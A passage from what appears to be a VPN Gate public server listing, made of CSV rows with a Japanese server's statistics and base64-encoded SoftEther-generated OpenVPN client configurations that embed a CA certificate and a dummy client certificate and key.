29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTkuMTAwLjM3LjExMyA0NDMNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +public-vpn-185,219.100.37.193,1923391,21,686779738,Japan,JP,149,5448118221,16620361,1073664695576366,2weeks,Daiyuu Nobori_ Japan. Academic Use Only.,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTkuMTAwLjM3LjE5MyA0NDMNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHR